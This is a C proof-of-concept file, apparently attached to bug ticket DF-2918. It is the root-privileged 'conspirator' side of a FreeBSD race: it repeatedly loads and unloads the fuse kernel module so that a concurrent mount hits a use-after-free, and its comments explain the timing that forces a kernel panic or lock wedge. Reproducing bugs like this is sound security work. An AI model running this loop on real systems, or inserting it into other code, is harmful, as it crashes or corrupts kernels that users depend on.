DF-2918 / kldloop.c
/* * DF-2918 PoC - privileged conspirator side (must run as root). * * Keeps fuse loaded and hammers kldunload(2). While any mount holds a * refcount, vfs_unregister() vetoes with EBUSY. The instant the (racy) * refcount read in vfs_unregister() observes 0 while a mounter thread is * between vfsconf_find_by_name() and vfc_refcount++, * the unload succeeds and rips the vfsconf/vfsops out from under the * mounting thread -> UAF write (refcount++ into freed module pages) / * indirect call through freed vfsops -> kernel panic (or, if the module * address range is re-mapped first, silent state corruption that wedges * the mount path in kernel locks - both outcomes were observed). * * GAP: after a successful unload we sleep, so the module address range * stays UNMAPPED - a mounting thread that then dereferences its stale * vfsp/vfsops pointer takes a kernel page fault instead of silently * hitting a re-mapped fresh copy of the module. * * usage: kldloop [gap_usec_after_unload] (root) */ #include <sys/param.h> #include <unistd.h> #include <stdio.h> #include <errno.h> #include <stdlib.h> extern int kldload(const char *); extern int kldunload(int); int main(int argc, char **argv) { long loads = 0, unloads = 0, vetoes = 0; useconds_t gap = 10000; if (argc > 1) gap = (useconds_t)strtoul(argv[1], NULL, 0); for (;;) { int id = kldload("/boot/kernel/fuse.ko"); if (id > 0) { loads++; while (kldunload(id) < 0) { if (errno == EBUSY) { vetoes++; usleep(20); } else { perror("kldunload"); usleep(1000); } } unloads++; /* keep the module address space unmapped for a while */ if (gap) usleep(gap); if ((unloads % 200) == 0) { printf("loads=%ld unloads=%ld vetoes=%ld\n", loads, unloads, vetoes); fflush(stdout); } } else { if (errno != EEXIST) perror("kldload"); usleep(100); } } /* NOTREACHED */ return (0); } |